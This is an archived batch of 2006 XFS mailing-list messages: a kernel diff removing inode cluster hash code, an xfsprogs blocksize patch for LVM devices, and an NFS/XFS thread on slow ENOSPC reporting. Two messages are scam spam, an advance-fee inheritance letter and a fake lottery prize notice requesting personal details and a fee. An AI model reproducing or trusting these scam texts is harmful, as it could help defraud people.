-xfsidbg_xchash(xfs_mount_t *mp) -{ - int i; - xfs_chash_t *ch; - - kdb_printf("m_chash 0x%p size %d\n", - mp->m_chash, mp->m_chsize); - for (i = 0; i < mp->m_chsize; i++) { - ch = mp->m_chash + i; - kdb_printf("[%3d] ch 0x%p chashlist 0x%p\n", i, ch, ch->ch_list); - xfsidbg_xchashlist(ch->ch_list); - } -} - -/* - * Command to print xfs inode cluster hash list: kp xchashlist - */ -static void -xfsidbg_xchashlist(xfs_chashlist_t *chl) -{ - xfs_inode_t *ip; - - while (chl != NULL) { - kdb_printf("hashlist inode 0x%p blkno %lld buf 0x%p", - chl->chl_ip, (long long) chl->chl_blkno, chl->chl_buf); - - kdb_printf("\n"); - - /* print inodes on chashlist */ - ip = chl->chl_ip; - do { - kdb_printf("0x%p ", ip); - ip = ip->i_cnext; - } while (ip != chl->chl_ip); - kdb_printf("\n"); - - chl=chl->chl_next; - } -} - -/* * Print xfs per-ag data structures for filesystem. */ static void Index: 2.6.x-xfs-new/fs/xfs/xfs_mount.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_mount.c 2006-09-18 11:05:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_mount.c 2006-09-18 12:02:18.805304742 +1000 @@ -164,8 +164,6 @@ xfs_mount_free( { if (mp->m_ihash) xfs_ihash_free(mp); - if (mp->m_chash) - xfs_chash_free(mp); if (mp->m_perag) { int agno; @@ -949,7 +947,6 @@ xfs_mountfs( * file system. */ xfs_ihash_init(mp); - xfs_chash_init(mp); /* * Allocate and initialize the per-ag data. @@ -1058,7 +1055,6 @@ xfs_mountfs( xfs_log_unmount_dealloc(mp); error2: xfs_ihash_free(mp); - xfs_chash_free(mp); for (agno = 0; agno < sbp->sb_agcount; agno++) if (mp->m_perag[agno].pagb_list) kmem_free(mp->m_perag[agno].pagb_list, From owner-xfs@oss.sgi.com Tue Oct 3 00:34:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 00:34:57 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k937YkaG016611 for ; Tue, 3 Oct 2006 00:34:48 -0700 Received: from [134.14.55.141] (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA04614; Tue, 3 Oct 2006 17:33:56 +1000 Message-ID: <452212CB.60103@sgi.com> Date: Tue, 03 Oct 2006 17:35:39 +1000 From: Timothy Shimmin User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Shailendra Tripathi CC: Chris Wedgwood , Rene Salmon , xfs@oss.sgi.com Subject: Re: LVM and XFS cannot set blocksize on block device References: <45185424.2030707@tulane.edu> <20060926001737.GA10224@tuatara.stupidest.org> <45193204.3030500@tulane.edu> <20060926224053.GA31542@tuatara.stupidest.org> <451A669D.9020503@agami.com> In-Reply-To: <451A669D.9020503@agami.com> Content-Type: multipart/mixed; boundary="------------010801050203020206070203" X-archive-position: 9153 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --------------010801050203020206070203 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Shailendra Tripathi wrote: >>> Thanks for the reply. The "-s size=4096" helped I was able to create >>> the file system, then mount it and use it. I did however get a >>> warning still about "cannot set blocksize on block device". > >> >> I don't know much about the LVM code, my guess is that >> ioctl(... ,BLKBSZSET, ...) is failing, strace would confirm this. > > > libxfs_device_open () seems to be working with the pre-conceived notion > of assuming block devices of only 512 bytes in size. > > if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) > platform_set_blocksize(fd, path, statb.st_rdev, 512); > > This eventually calls to set the blk sz to 512. Since, your volume does > not support less than 4k, it returns EINVAL. I think, libxfs_init should > be modified to take pass on the -s size option to this call so that it > does not happen. I've attached a patch. Is this the sort of thing you were after? --Tim --------------010801050203020206070203 Content-Type: text/plain; x-mac-type="0"; x-mac-creator="0"; name="blksize.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="blksize.patch" Subject: Re: LVM and XFS cannot set blocksize on block device Shailendra wrote: libxfs_device_open () seems to be working with the pre-conceived notion of assuming block devices of only 512 bytes in size. This eventually calls to set the blk sz to 512. Since, your volume does not support less than 4k, it returns EINVAL. I think, libxfs_init should be modified to pass on the -s size option to this call so that it does not happen. ... Index: xfsprogs/libxfs/darwin.c =================================================================== --- xfsprogs/libxfs/darwin.c.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/libxfs/darwin.c 2006-10-03 16:03:48.000000000 +1000 @@ -51,8 +51,8 @@ return (writable == 0); } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { } Index: xfsprogs/libxfs/freebsd.c =================================================================== --- xfsprogs/libxfs/freebsd.c.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/libxfs/freebsd.c 2006-10-03 16:03:48.000000000 +1000 @@ -91,8 +91,8 @@ return 0; } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { return; } Index: xfsprogs/libxfs/init.c =================================================================== --- xfsprogs/libxfs/init.c.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/libxfs/init.c 2006-10-03 16:34:41.000000000 +1000 @@ -116,8 +116,16 @@ exit(1); } - if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) - platform_set_blocksize(fd, path, statb.st_rdev, 512); + if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) { + if (setblksize == 1) + /* use the default blocksize */ + (void)platform_set_blocksize(fd, path, statb.st_rdev, XFS_MIN_SECTORSIZE, 0); + else { + /* given an explicit blocksize to use */ + if (platform_set_blocksize(fd, path, statb.st_rdev, setblksize, 1)) + exit(1); + } + } /* * Get the device number from the stat buf - unless Index: xfsprogs/libxfs/irix.c =================================================================== --- xfsprogs/libxfs/irix.c.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/libxfs/irix.c 2006-10-03 16:03:48.000000000 +1000 @@ -36,8 +36,8 @@ return 1; } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { return; } Index: xfsprogs/libxfs/linux.c =================================================================== --- xfsprogs/libxfs/linux.c.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/libxfs/linux.c 2006-10-03 16:03:48.000000000 +1000 @@ -102,16 +102,20 @@ return sts; } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { + int error = 0; + if (major(device) != RAMDISK_MAJOR) { - if (ioctl(fd, BLKBSZSET, &blocksize) < 0) { - fprintf(stderr, _("%s: warning - cannot set blocksize " + if ((error = ioctl(fd, BLKBSZSET, &blocksize)) < 0) { + fprintf(stderr, _("%s: %s - cannot set blocksize " "on block device %s: %s\n"), - progname, path, strerror(errno)); + progname, fatal ? "error": "warning", + path, strerror(errno)); } } + return error; } void Index: xfsprogs/mkfs/xfs_mkfs.c =================================================================== --- xfsprogs/mkfs/xfs_mkfs.c.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/mkfs/xfs_mkfs.c 2006-10-03 16:03:48.000000000 +1000 @@ -634,7 +634,6 @@ bzero(&fsx, sizeof(fsx)); bzero(&xi, sizeof(xi)); - xi.setblksize = 1; xi.isdirect = LIBXFS_DIRECT; xi.isreadonly = LIBXFS_EXCLUSIVELY; @@ -1506,6 +1505,11 @@ calc_stripe_factors(dsu, dsw, sectorsize, lsu, lsectorsize, &dsunit, &dswidth, &lsunit); + if (slflag || ssflag) + xi.setblksize = sectorsize; + else + xi.setblksize = 1; + /* * Initialize. This will open the log and rt devices as well. */ Index: xfsprogs/libxfs/init.h =================================================================== --- xfsprogs/libxfs/init.h.orig 2006-10-03 16:10:41.000000000 +1000 +++ xfsprogs/libxfs/init.h 2006-10-03 16:03:48.000000000 +1000 @@ -25,7 +25,7 @@ extern int platform_check_iswritable (char *path, char *block, struct stat64 *sptr, int fatal); extern void platform_findsizes (char *path, int fd, long long *sz, int *bsz); -extern void platform_set_blocksize (int fd, char *path, dev_t device, int bsz); +extern int platform_set_blocksize (int fd, char *path, dev_t device, int bsz, int fatal); extern void platform_flush_device (int fd, dev_t device); extern char *platform_findrawpath(char *path); extern char *platform_findrawpath (char *path); --------------010801050203020206070203-- From owner-xfs@oss.sgi.com Tue Oct 3 03:07:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 03:08:01 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93A7raG006352 for ; Tue, 3 Oct 2006 03:07:54 -0700 X-ASG-Debug-ID: 1159867269-29493-113-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from newbox.ece.cmu.edu (NEWBOX.ECE.CMU.EDU [128.2.129.26]) by cuda.sgi.com (Spam Firewall) with ESMTP id 079C74688E9 for ; Tue, 3 Oct 2006 02:21:09 -0700 (PDT) Received: by newbox.ece.cmu.edu (Postfix, from userid 57) id B31CB34C6; Tue, 3 Oct 2006 05:21:08 -0400 (EDT) Message-ID: Date: Tue, 03 Oct 2006 05:21:08 -0400 X-Sieve: CMU Sieve 2.2 From: To: X-ASG-Orig-Subj: Re: [SPAM] 7.3 Ganger@ece.cmu.edu Subject: Re: [SPAM] 7.3 Ganger@ece.cmu.edu In-Reply-To: <20061003092105.77EB54E8@hazard.ece.cmu.edu> Auto-Submitted: auto-replied (vacation) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.75 X-Barracuda-Spam-Status: No, SCORE=0.75 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22461 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) X-archive-position: 9154 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ganger@ece.cmu.edu Precedence: bulk X-list: xfs Status: O This reply to your recent mail message is being sent automatically. I am suffering a severe case of RSI problems. Please forgive slow and terse replies as I deal with this. Thank you for your patience and understanding. Greg From owner-xfs@oss.sgi.com Tue Oct 3 06:41:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 06:41:46 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93DfbaG007509 for ; Tue, 3 Oct 2006 06:41:38 -0700 X-ASG-Debug-ID: 1159882855-21157-571-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id 792FB467945 for ; Tue, 3 Oct 2006 06:40:55 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX1+1UfBtGgyEYQ8l1wZQraF80+6cedasFEo=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GUkVk-0000rg-8Y; Tue, 03 Oct 2006 09:40:41 -0400 Date: Tue, 3 Oct 2006 09:39:55 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: Trond Myklebust , David Chinner cc: xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi In-Reply-To: <20061002223056.GN4695059@melbourne.sgi.com> Message-ID: References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: several messages Subject: Re: several messages Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22473 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9155 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O Sorry for insisting, but it seems to me there's still a problem in need of fixing: when writing a 5GB file over NFS to an XFS file system and hitting ENOSPC, it takes on the order of 22hours before my application gets an error, whereas it would normally take about 2minutes if the file system did not become full. Perhaps I was being a bit too "constructive" and drowned my point in explanations and proposed workarounds... You are telling me that neither NFS nor XFS is doing anything wrong, and I can understand your points of view, but surely that behavior isn't considered acceptable? On Tue, 26 Sep 2006, Trond Myklebust wrote: > On Tue, 2006-09-26 at 16:05 -0400, Stephane Doyon wrote: >> I suppose it's not technically wrong to try to flush all the pages of the >> file, but if the server file system is full then it will be at its worse. >> Also if you happened to be on a slower link and have a big cache to flush, >> you're waiting around for very little gain. > > That all assumes that nobody fixes the problem on the server. If > somebody notices, and actually removes an unused file, then you may be > happy that the kernel preserved the last 80% of the apache log file that > was being written out. > > ENOSPC is a transient error: that is why the current behaviour exists. On Tue, 3 Oct 2006, David Chinner wrote: > This deep in the XFS allocation functions, we cannot tell if we hold > the i_mutex or not, and it plays no part in determining if we have > space or not. Hence we don't touch it here. > I doubt it's a good idea for an NFS server, either. [...] > Remember that XFS, like most filesystems, trades off speed for > correctness as we approach ENOSPC. Many parts of XFS slow down as we > approach ENOSPC, and this is just one example of where we need to be > correct, not fast. [...] > IMO, this is a non-problem. You're talking about optimising a > relatively rare corner case where correctness is more important than > speed and your test case is highly artificial. AFAIC, if you are > running at ENOSPC then you get what performance is appropriate for > correctness and if you are continually runing at ENOSPC, then buy > some more disks..... My recipe to reproduce the problem locally is admittedly somewhat artificial, but the problematic usage definitely isn't: simply an app on an NFS client that happens to fill up a file system. There must be some way to handle this better. Thanks From owner-xfs@oss.sgi.com Tue Oct 3 09:27:11 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 09:27:22 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93GRBaG002440 for ; Tue, 3 Oct 2006 09:27:11 -0700 X-ASG-Debug-ID: 1159892789-7305-143-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8894546928B; Tue, 3 Oct 2006 09:26:29 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX1/EBQ68VyBYbO4UwOcX0L7vbYYXw+tCbLU=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GUn5s-0003T5-CJ; Tue, 03 Oct 2006 12:26:09 -0400 Date: Tue, 3 Oct 2006 12:25:22 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: Trond Myklebust , David Chinner cc: xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi Message-ID: MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: Long sleep with i_mutex in xfs_flush_device(), affects NFS service, was: Re: several messages Subject: Re: Long sleep with i_mutex in xfs_flush_device(), affects NFS service, was: Re: several messages Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22482 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9156 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O [Ouch... terribly sorry for the mangled subject line on my previous post, insufficient coffee I guess. Sheepishly re-posting in hope of untangling the discussion threading mess...] ---------- Forwarded message ---------- Date: Tue, 3 Oct 2006 09:39:55 -0400 (EDT) From: Stephane Doyon To: Trond Myklebust , David Chinner Cc: , , Shailendra Tripathi Subject: Re: several messages Sorry for insisting, but it seems to me there's still a problem in need of fixing: when writing a 5GB file over NFS to an XFS file system and hitting ENOSPC, it takes on the order of 22hours before my application gets an error, whereas it would normally take about 2minutes if the file system did not become full. Perhaps I was being a bit too "constructive" and drowned my point in explanations and proposed workarounds... You are telling me that neither NFS nor XFS is doing anything wrong, and I can understand your points of view, but surely that behavior isn't considered acceptable? On Tue, 26 Sep 2006, Trond Myklebust wrote: > On Tue, 2006-09-26 at 16:05 -0400, Stephane Doyon wrote: > > I suppose it's not technically wrong to try to flush all the pages of the > > file, but if the server file system is full then it will be at its worse. > > Also if you happened to be on a slower link and have a big cache to flush, > > you're waiting around for very little gain. > > That all assumes that nobody fixes the problem on the server. If > somebody notices, and actually removes an unused file, then you may be > happy that the kernel preserved the last 80% of the apache log file that > was being written out. > > ENOSPC is a transient error: that is why the current behaviour exists. On Tue, 3 Oct 2006, David Chinner wrote: > This deep in the XFS allocation functions, we cannot tell if we hold > the i_mutex or not, and it plays no part in determining if we have > space or not. Hence we don't touch it here. > I doubt it's a good idea for an NFS server, either. [...] > Remember that XFS, like most filesystems, trades off speed for > correctness as we approach ENOSPC. Many parts of XFS slow down as we > approach ENOSPC, and this is just one example of where we need to be > correct, not fast. [...] > IMO, this is a non-problem. You're talking about optimising a > relatively rare corner case where correctness is more important than > speed and your test case is highly artificial. AFAIC, if you are > running at ENOSPC then you get what performance is appropriate for > correctness and if you are continually runing at ENOSPC, then buy > some more disks..... My recipe to reproduce the problem locally is admittedly somewhat artificial, but the problematic usage definitely isn't: simply an app on an NFS client that happens to fill up a file system. There must be some way to handle this better. Thanks From owner-xfs@oss.sgi.com Tue Oct 3 09:41:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 09:41:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93GfbaG004402 for ; Tue, 3 Oct 2006 09:41:38 -0700 X-ASG-Debug-ID: 1159893656-3117-248-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pat.uio.no (pat.uio.no [129.240.10.4]) by cuda.sgi.com (Spam Firewall) with ESMTP id 51CCED17A49D; Tue, 3 Oct 2006 09:40:57 -0700 (PDT) Received: from mail-mx5.uio.no ([129.240.10.46]) by pat.uio.no with esmtp (Exim 4.43) id 1GUnKA-00045o-Ls; Tue, 03 Oct 2006 18:40:54 +0200 Received: from dh141.citi.umich.edu ([141.211.133.141]) by mail-mx5.uio.no with esmtpsa (SSLv3:RC4-MD5:128) (Exim 4.43) id 1GUnK2-0004VE-Kq; Tue, 03 Oct 2006 18:40:46 +0200 X-ASG-Orig-Subj: Re: several messages Subject: Re: several messages From: Trond Myklebust To: Stephane Doyon Cc: David Chinner , xfs@oss.sgi.com, nfs@lists.sourceforge.net, Shailendra Tripathi In-Reply-To: References: <451A618B.5080901@agami.com> <20061002223056.GN4695059@melbourne.sgi.com> Content-Type: text/plain Date: Tue, 03 Oct 2006 12:40:42 -0400 Message-Id: <1159893642.5592.12.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-UiO-Spam-info: not spam, SpamAssassin (score=-3.648, required 12, autolearn=disabled, AWL 1.35, UIO_MAIL_IS_INTERNAL -5.00) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22480 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9157 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: trond.myklebust@fys.uio.no Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-03 at 09:39 -0400, Stephane Doyon wrote: > Sorry for insisting, but it seems to me there's still a problem in need of > fixing: when writing a 5GB file over NFS to an XFS file system and hitting > ENOSPC, it takes on the order of 22hours before my application gets an > error, whereas it would normally take about 2minutes if the file system > did not become full. > > Perhaps I was being a bit too "constructive" and drowned my point in > explanations and proposed workarounds... You are telling me that neither > NFS nor XFS is doing anything wrong, and I can understand your points of > view, but surely that behavior isn't considered acceptable? Sure it is. You are allowing the kernel to cache 5GB, and that means you only get the error message when close() completes. If you want faster error reporting, there are modes like O_SYNC, O_DIRECT, that will attempt to flush the data more quickly. In addition, you can force flushing using fsync(). Finally, you can tweak the VM into flushing more often using /proc/sys/vm. Cheers, Trond From owner-xfs@oss.sgi.com Tue Oct 3 12:34:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 12:34:44 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93JYbaG027803 for ; Tue, 3 Oct 2006 12:34:38 -0700 X-ASG-Debug-ID: 1159899323-19983-478-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from my1.home.net.pl (my1.home.net.pl [62.129.252.51]) by cuda.sgi.com (Spam Firewall) with SMTP id 45B89400D60 for ; Tue, 3 Oct 2006 11:15:24 -0700 (PDT) Received: from 213.185.106.156 (213.185.106.156) user melvinsamson via webmail Date: Tue, 03 Oct 2006 20:15:22 +0200 Message-ID: <3cc2c041f154705eb19fa37ce22b4921.qmail@home.pl> Reply-To: melvinsamson101@yahoo.com From: "Melvin Samson" To: melvinsamson@home.pl X-ASG-Orig-Subj: GET BACK IMMEDIATELY Subject: GET BACK IMMEDIATELY MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 8bit X-Mailer: home.pl my.webmail X-Priority: 3 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22485 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9158 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: melvinsamson@home.pl Precedence: bulk X-list: xfs Status: O My Dear Friend, Greetings: My name is Mr. Melvin Samson I work as an accountant in a bank; I contacted you to work together with me in claiming my late client's estate. Unfortunately he died without a registered next of kin and as such the funds now have an open beneficiary status. You could be made the beneficiary since you share the same last name with him. This has officially transferred the right to you, as no other person from his family knows anything about this fund with our bank.If you are interested in working with me, please get back to me as quickly as possible so that I give you the details of what we are to do. I wait for your prompt response so that I can give you more briefing of what you need to and how to do it. Thanks for your co-operation. Best regards, Melvin. From owner-xfs@oss.sgi.com Tue Oct 3 13:40:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 13:41:07 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93KewaG004391 for ; Tue, 3 Oct 2006 13:40:59 -0700 X-ASG-Debug-ID: 1159904244-3350-231-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vsmtp2.tin.it (vsmtp2.tin.it [212.216.176.222]) by cuda.sgi.com (Spam Firewall) with ESMTP id C9BAED17A47A for ; Tue, 3 Oct 2006 12:37:24 -0700 (PDT) Received: from pswm2.cp.tin.it (192.168.70.14) by vsmtp2.tin.it (7.2.072.1) id 451AB620002F1169; Tue, 3 Oct 2006 20:36:30 +0200 Message-ID: <10e0f7671be.pickup6@virgilio.it> Date: Tue, 3 Oct 2006 19:36:30 +0100 (GMT+01:00) From: Reply-To: X-ASG-Orig-Subj: Hola Winnner Subject: Hola Winnner Mime-Version: 1.0 Content-Type: text/plain;charset="UTF-8" X-Originating-IP: 84.77.29.34 X-Barracuda-Spam-Score: 0.87 X-Barracuda-Spam-Status: No, SCORE=0.87 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22489 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k93KexaG004408 X-archive-position: 9159 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pickup6@virgilio.it Precedence: bulk X-list: xfs Status: O Hola Winnner ATTN: Winner. Lotteria Shop Nacional AWARD.2006 We wish to congratulate you over your email success in our computer balloting sweepstake held on 2th of October2006. This is a millennium scientific computer game in which email addresses were used. It is a promotional program aimed at encouraging internetusers; therefore you do not need to buy ticket to enter for it. You have been approve f or the star prize of € 150.000.00 Euro.(One Hundred and Fifty Thousand) CONGRATULATIONS!! To claim your winning prize you are to contact the appointed agent as soon as possible for the immediate release of your winnings: Mr.Frank Lspez CHALET FINANCIAL SERVICES Reply Emails: chaletsp@aim.com Tel:+34692473683 Batch No: SUTO/980/TWM/EU Ticket No: WRNM/SMI/5990 Lucky No: 10-23-44-72-80 Serial No: MUOTI/82536 Lotteria Shop Nacional AWARD.2006 SEVILLA SPAIN You must contact the appointed agent with your Full Names, Contact Telephone Numbers (Home, Office and Mobile Number and also Fax Number) via email to process the immediate payment of your prize. Note: You will be require to pay for the issuance of your winning certificate only. The certificate is your legal prove/guarantee. The Validity period of the winnings is for 30 working days hence you are expected to make your claimsimmediately, any claim not made before this date will be returned to the MINISTERIO DE E CONOMIA Y HACIENDA. Once again congratulations !!! Best Regards, Mrs Emily Simon (Group - Coordinator). From owner-xfs@oss.sgi.com Tue Oct 3 14:50:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 03 Oct 2006 14:51:08 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k93LowaG011326 for ; Tue, 3 Oct 2006 14:50:59 -0700 X-ASG-Debug-ID: 1159912217-5975-765-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp113.sbc.mail.mud.yahoo.com (smtp113.sbc.mail.mud.yahoo.com [68.142.198.212]) by cuda.sgi.com (Spam Firewall) with SMTP id 0F4C146803E for ; Tue, 3 Oct 2006 14:50:17 -0700 (PDT) Received: (qmail 83577 invoked from network); 3 Oct 2006 21:23:37 -0000 Received: from unknown (HELO stupidest.org) (cwedgwood@sbcglobal.net@24.5.75.45 with login) by smtp113.sbc.mail.mud.yahoo.com with SMTP; 3 Oct 2006 21:23:37 -0000 Received: by tuatara.stupidest.org (Postfix, from userid 10000) id 7ED381824260; Tue, 3 Oct 2006 14:23:35 -0700 (PDT) Date: Tue, 3 Oct 2006 14:23:35 -0700 From: Chris Wedgwood To: David Chinner Cc: xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML X-ASG-Orig-Subj: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Message-ID: <20061003212335.GA13120@tuatara.stupidest.org> References: <20061003060610.GV3024@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: 